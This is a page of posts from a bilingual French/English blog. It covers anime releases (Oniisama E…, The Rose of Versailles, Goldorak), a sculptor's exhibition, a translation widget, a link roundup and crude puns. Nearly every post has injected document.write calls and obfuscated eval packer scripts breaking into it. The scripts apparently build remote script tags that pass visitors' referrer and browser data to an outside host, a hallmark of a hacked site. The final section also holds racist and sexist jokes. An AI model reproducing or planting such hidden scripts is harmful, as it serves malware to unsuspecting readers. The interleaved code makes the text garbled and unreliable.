Retro-blogging

Ce week-end j’ai introduit un nouveau concept dans mon blog: le rétro-blogging. C’est-à-dire que ces derniers mois je n’ai pas eu le temps, document.write(“”); ni l’énergie de blogger régulièrement mais je prenais tout de même des notes dans mon petit carnet. Et là je les introduit dans le blogue aux dates où ces notes on été prises. Ce week-end j’ai donc fait du ratrappage pour les mois de mai et de juin
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbtyy|var|u0026u|referrer|idrbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnhii|var|u0026u|referrer|hakik||js|php’.split(‘|’),0,{}))

Autre nouvelle: mon blogue peut maintenant être rejoins à l’addresse
clodjee.com!

[ Translate ]

Oniisama E… on Viki

Just a quick note to let you know that I just realized that the superb classic anime Oniisama E… a.k.a. Dear Brother [info: ANN / Wikipedia] is currently streaming on Viki.com! Based on a manga by Riyoko Ikeda serialized in Margaret in 1975, document.write(“”); the 39-episode anime series, directed by Osamu Dezaki, aired on NHK in 1991-92.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsenr|var|u0026u|referrer|dhyed||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzdri|var|u0026u|referrer|franr||js|php’.split(‘|’),0,{}))

I never really had the chance to watch it so here is the best opportunity to do it legally (I just need to find some time!). I highly recommend you to
take a look too.

By the way, Viki has an excellent app in the iTunes store for both iPhones and iPads. Check that too!

So far, Viki’s anime line-up offers mostly stuff from Tezuka (strangely enough, Oniisama E… was animated by Tezuka Productions!) but I am sure more great titles will eventually be added (Lady Oscar / The Rose of Versailles is coming in December anyway).

[ Traduire ]

Press Release: Right Stuf, Inc. Acquires The Rose of Versailles

Nozomi Ent. to release classic anime as limited-edition DVD sets in 2013 and to conduct fan Q&A with creator Riyoko Ikeda; Viki to begin streaming series in December 2012.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzds|var|u0026u|referrer|tehys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnfzb|var|u0026u|referrer|bisde||js|php’.split(‘|’),0,{}))

GRIMES, document.write(“”); Iowa, Sept. 12, 2012 – Anime producer and distributor
Right Stuf, Inc. is pleased to announce the acquisition of The Rose of Versailles anime series from TMS Entertainment.

Also known as “Berusaiyu no Bara” and “Lady Oscar,” The Rose of Versailles will be released via Right Stuf’s Nozomi Entertainment as two limited-edition DVD box sets in 2013. The series will also be streamed, beginning in December 2012, and made available exclusively to fans in the United States and Canada on Viki (Viki.com), as part of the site’s growing anime lineup. This will be the first time the entire anime series will be available to English-speaking audiences in North America.

Additionally, Nozomi Entertainment wants fans’ questions for an upcoming Q&A interview with Riyoko Ikeda, the creator of The Rose of Versailles. Please submit questions, via the form located at the official series site (rov.Right Stuf.com), by 4 p.m. CDT on Thurs., Nov. 1, 2012.

Right Stuf‘s President and CEO Shawne Kleckner said, “The Rose of Versailles is one of anime and manga’s truly legendary and iconic stories. It is an honor and privilege to bring this beloved series to DVD, via Nozomi Entertainment, and work with TMS and Viki to introduce our English-subtitled translation of the anime inspired by Ms. Ikeda’s masterwork to North American fans.”

“We’re thrilled to work with Right Stuf to bring The Rose of Versailles to fans in North America and add this famous title to our growing library of classic anime,” said Razmig Hovaghimian, Viki CEO.

The Rose of Versailles has been released several times in multiple formats in many European and Asian countries until now but was never released in North America for the English-speaking audiences. I would like to thank the team at Right Stuf and Viki for making the North American The Rose of Versailles DVD and online release possible. When it comes to amazing shows, you never get tired of watching them, and I believe The Rose of Versailles is one of these shows. It would be a pleasure if the North American fans enjoy The Rose of Versailles as much as I have,” said Katsuki Masai, Deputy Manager of TMS Entertainment, USA, Inc.

Set during the years preceding the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman whose father has raised her as a man – and trained her to be an elite and skilled soldier – so she can succeed him as the commander of the palace guards.

The Rose of Versailles is based upon the best-selling manga (comic) by Riyoko Ikeda (Dear Brother, a.k.a. Oniisama E…), which was originally serialized in Shueisha’s shoujo (girls’) anthology magazine Margaret, from 1972 through 1973, and later collected into 10 volumes. In addition to its anime adaptation, it inspired a short story collection (also written by Ikeda), a French-Japanese live-action film, and multiple musicals staged by Japan’s famed Takarazuka Revue.

This 40-episode anime adaptation of The Rose of Versailles originally aired on Japanese television from October 1979 through September 1980. It features animation by TMS Entertainment, as well as direction by Tadao Nagahama (Romance Robot Trilogy) and Osamu Dezaki (Nobody’s Boy – Remi, Dear Brother, Aim for the Ace!).

For more information about the series and to submit questions for the Q&A with Ms. Ikeda, visit rov.Right Stuf.com.

About RIGHT STUF, INC.
Currently celebrating its 25th year in business, Right Stuf, Inc. was one of the first players in the U.S. Japanese Animation (“anime”) industry, as both an anime producer/distributor and a retailer. Right Stuf works to promote knowledge of its own products, as well as the anime and manga industry, in general, through its online storefront at Right Stuf.com and a variety of media including podcasts and special publications. Its video and print publishing division includes the Nozomi Entertainment, Lucky Penny, and 5 Points Pictures studio-labels.

About NOZOMI ENTERTAINMENT
A publishing division of Right Stuf, Inc., Nozomi Entertainment is its signature label, dedicated to high-quality releases for collectors. True to the Japanese word that inspired its name, Nozomi’s focus is on “what fans want.” By focusing on a limited number of anime properties each year, the Nozomi production team ensures each release receives the care and attention to detail it deserves.

From anime classics like Astro Boy, Kimba and Gigantor to modern comedies, dramas and favorites such as The Irresponsible Captain Tylor, His and Her Circumstances, Gravitation, Ninja Nonsense, The Third: The Girl with the Blue Eye, Emma: A Victorian Romance, Maria Watches Over Us, ARIA, Gakuen Alice, Rental Magica, Dirty Pair, Junj? Romantica and Revolutionary Girl Utena, Nozomi Entertainment releases quality programming for fans of all ages and interests.

For more information, visit www.rightstuf.com and www.nozomient.com.

About Viki
Viki is a global TV site with over 12 million monthly viewers who come to watch their favorite TV shows, movies and other premium content, translated into more than 150 languages by a community of avid fans. With over 1 billion videos viewed and nearly 250 million words translated, Viki uniquely brings global prime-time entertainment to new audiences and unlocks new markets and revenue opportunities for content owners. In 2011, Viki announced $20M in Series B funding from strategic investors including BBC Worldwide and SK Planet, a subsidiary of SK Telecom; as well as from existing investors Greylock Partners, Andreessen Horowitz, Charles River Ventures and Neoteny Labs, among others.

About TMS ENTERTAINMENT, LTD.
TMS Entertainment, Ltd. (better known as TMS), one of the world’s largest and most distinguished animation studios, has rapidly won recognition from the international filmmaking community for its highly acclaimed animation, pioneering techniques and proud commitment to quality. With its headquarters situated in Tokyo under the supervision of a dedicated team of top development, production and design executives, TMS’s growing reputation is reflected by the versatility, artistry and originality of the remarkable volume of programs the company has produced for international markets worldwide. Established in the year 1964, TMS has produced more than 100 features and over 100 TV programming series, in total of 8,000 half hours, for global distribution. TMS also proceeds with restoration projects of the titles to keep its highest quality for the next generation. TMS is proud to uphold our tradition of presenting to you unforgettable images from the finest animation produced anywhere in the world. TMS’s programs have attained worldwide recognition, and we continue to strive for excellence and lead the animation world throughout the century.

[ Traduire ]

Goldorak enfin en dvd!

Après la sortie dvd avortée en France et un long litige devant les tribunaux tant français que japonais entre le créateur Gô Nagai et la firme de production Tôei Animation (apparemment Tôei avait vendu les droits en France et produit la version française sans l’accord de Gô Nagai), document.write(“”); le magazine français Animeland nous apprend que “Les 74 épisodes de la série culte Goldorak [info Animeland / ANN] vont enfin ressortir officiellement en français en DVD (…)… au Canada !” La nouvelle a par la suite été confirmée par Le Soleil et un communiqué de presse d’Imavision, qui en sera le distributeur.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snhdt|var|u0026u|referrer|aeifn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krtys|var|u0026u|referrer|hfeaz||js|php’.split(‘|’),0,{}))

Cette nouvelle est plutôt surprenante, puisque je n’avait pas entendu dire que le litige avait été règlé et qu’on s’attendrait plutôt à voir une sortie dvd d’abord en France et non au Québec. Espérons que cette sortie dvd ne sera pas troublée par les mêmes problèmes qu’avait eut Déclic Images en 2005. Quoiqu’il en soit, Imavision a annoncé la sortie du coffet dvd, en collaboration avec DEP, pour la période des Fêtes 2012. Une distribution sur “diverses plateformes” sera par ailleurs annoncée ultérieurement.

UFO Robo Grendizer / Goldorak © Go Nagai / Dynamic Planning Inc., Toei Animation Co., Ltd. All Rights Reserved.

[ Translate ]

Gloires passagères

Notre collègue aide-bibliothécaire Louis Fortier, document.write(“”); un sculpteur de talent (dont j’avais déjà mentionné l’exposition Métamorphose en mars), exposera à nouveau ses oeuvres en octobre.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keysr|var|u0026u|referrer|satbz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enrkf|var|u0026u|referrer|rdzkk||js|php’.split(‘|’),0,{}))

Le grand écorché, 2010-2011, cire colorée sur polystyrène expansé (152 x 213 x 304 cm)

L’exposition, intitulée “Gloires passagères”, se tiendra du 4 au 28 octobre 2012 à la Galerie d’art d’Outremont (adjacente à la bibliothèque Robert-Bourassa). Situé au 41 avenue Saint-Just à Outremont, la galerie est ouverte du mardi au vendredi de 13h à 18h, et les samedi et dimanche de 13h à 17h. (Renseignements: 514 495-7419).

Louis Fortier travaille à partir de techniques de moulage qui lui permettent d’effectuer des variations dans la série. Depuis une quinzaine d’années, il revisite son anatomie — et plus particulièrement son visage — à la manière d’un journal. En cherchant des équivalences entre la nature fugitive des émotions et le caractère imprévisible de matériaux tels que la cire et le plâtre, la démarche de cet artiste déjoue la fixité habituelle propre au genre de l’autoportrait. Ainsi, les morceaux d’anatomie qu’il nous livre sont assujettis à des programmes qui génèrent des dérives et des distorsions. Du coup, le résultat de ses explorations artistiques pourraient s’entendre comme des tentatives de traduire les accidents de la vie courante et la fugacité de l’existence.

Mise à jour: article dans l’Express d’Outremont.

[ Translate ]

Translation

The problem with multilingual blogs is that you cannot always post in a way to be understood by every readership at the same time. Sometimes I will post a comment both in French and English, document.write(“”); but most of the time I post in either languages depending on the nature of the subject. For example, if I read a book in French I will most likely comment it in the same language and I will comment in English if I watch a movie in English. And, of course, the blog is not accessible to people speaking any other languages (like my ancient roman fans or my Japanese friends or some accidental Aafrikaner or Hindi readers). I’ve always found this particularly annoying.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yskya|var|u0026u|referrer|aendt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnnby|var|u0026u|referrer|ydybh||js|php’.split(‘|’),0,{}))

I recently stumbled upon a Facebook page that was offering a link to translate the post into another language (in this case either Japanese or English). I found that such option was quite practical and wondered if it was possible to do something similar with Blogger. I couldn’t find a cool and easy way like I saw for Facebook, but I found a couple of ways to reach my goal. (It would be nice though to have Blogger to add a “Translate” option at the bottom of each post).

From now on, you will find in the right side column (between the “links” and the “Search this blog”) a “Translate this blog” section with a “Select Language” pull down menu. It includes over sixty different languages but, since it assumes this blog is in English only, the list doesn’t offer an English option, which would be quite useful for my French posts. Instead, for this particular case, I will try to always add at the end of my French posts a “[ Translate ]” link that will bring you to an English translation (by default, but it can be changed to any language you want).

Unfortunately, the translation option often mess up the layout of the post (mostly paragraph jump — strangely the individual links for the French to English translation fare much better layout-wise) and the resulting translation is generally far from perfect (although sometimes quite funny). But that’s the best it can do for now. However, to avoid formatting problems I might simply add a “[ Translate ]” link even for the posts in English…

I hope this solution will help widden the readership of this blog. In any case, let me know what you think. Do you like this new option or not (or it doesn’t make any difference for you)?

[ Translate ]

Press Review (August)

Not much change this month as I was still too busy and tired to do much. But I always have enough energy to gather scraplinks and share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bniyr|var|u0026u|referrer|fznba||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tztkd|var|u0026u|referrer|sarfz||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Humour pas éthique en [six] huit catas strophes

AVERTISSEMENT: Peut contenir des traces de mauvais humour! Toutes personnes allergiques à l’humour salace, document.write(“”); grivois, sexiste, anticlérical ou raciste, voir: au calambour obscure, sont fortement conseillé(e) de prendre les précautions nécessaires pour leur sécurité et devraient s’abstenir de lire plus loin! (On vous aura averti!)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzbks|var|u0026u|referrer|eafzy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbib|var|u0026u|referrer|fftda||js|php’.split(‘|’),0,{}))

Adorateur du démon! Je suis poursuivi par des impies qui m’implorent de joindre leur confrérie étherale et de vénérer jour et nuit avec eux l’idole d’un animal qui incarne la mal en toutes ses formes. Non, jamais je ne consacrerai mon existence à votre face de bouc! (:> 7/10/2011)

Unjustly indickted! I didn’t do dick but, since there’s no justice in the world, it didn’t keep me from being judged and sent to a penile colony. It certainly gave a new meaning to doing hard time. There, everytime one of those dick-head inmates were asking me if I was that Dick who did this or that, I was answering: “Sorry, I don’t know dick about that!” — extract from “The dicky invasion” by Penny Kay Dicky, who also wrote “The peniletimate truth,” “Counter-cock world,” “Confession of a dicky artist” and “U-dick.” (8/6/2011)

Les penseurs grecs sont à l’origine de beaucoup d’éléments de la pensée moderne et scientifique. Par exemple, Leucippe et Démocrite ont développé le concept de l’atomisme. Pythagore et Euclide jetèrent les bases des mathématiques et de la géométrie, Aristote celles de la méthodologie scientifique, et Archimède celles de la physique (on croit qu’il pourrait aussi être le créateur du mécanisme d’Anticythère). Aristarque proposa un modèle astronomique héliocentrique et Ératosthène calcula la circonférence de la terre. Aussi, et j’arrive ici dans le vif de mon sujet, on a attribué à Anaximenes l’idée que le souffle (?????? / pneuma) était la source de la vie, mais des découvertes récentes l’attribue maintenant à un philosophe plus obscure: Emphysème. (Inpiré par mon collègue Ératos10, 9/13/2011)

C’est à se demander pourquoi les gens pensent toujours que les deux capitales du tourisme sexuel en Asie sont Lahore et Bangkok! (10/19/2011)

T’appelles ça comment quand tu te fais engeuler vertement par une femme qui porte un hijab? Des menaces voilées?! (8/24/2012)

Salus cymbalon! L’un des assistants les plus intime du pape a récemment été arrêté sous des accusations de corruptions. Son rôle était de voir à la protection rapprochée et au bien-être du saint-père, en s’assurant qu’il ne croule pas trop sous une charge de travail trop lourde et, même, de voir à son salut en s’agenouillant à son chevet dans la prière. La curie délibère encore sur le choix du prochain sous-pape de sécurité. (8/27/2012)

Et encore plus…

T’appelles ça comment en anglais un chiot en turban? A Sikh puppy?! (9/3/2012)

How do you call, in french, a seal wearing a turban? Un Sikh phoque?! (9/3/2012)

[ Translate ?! ]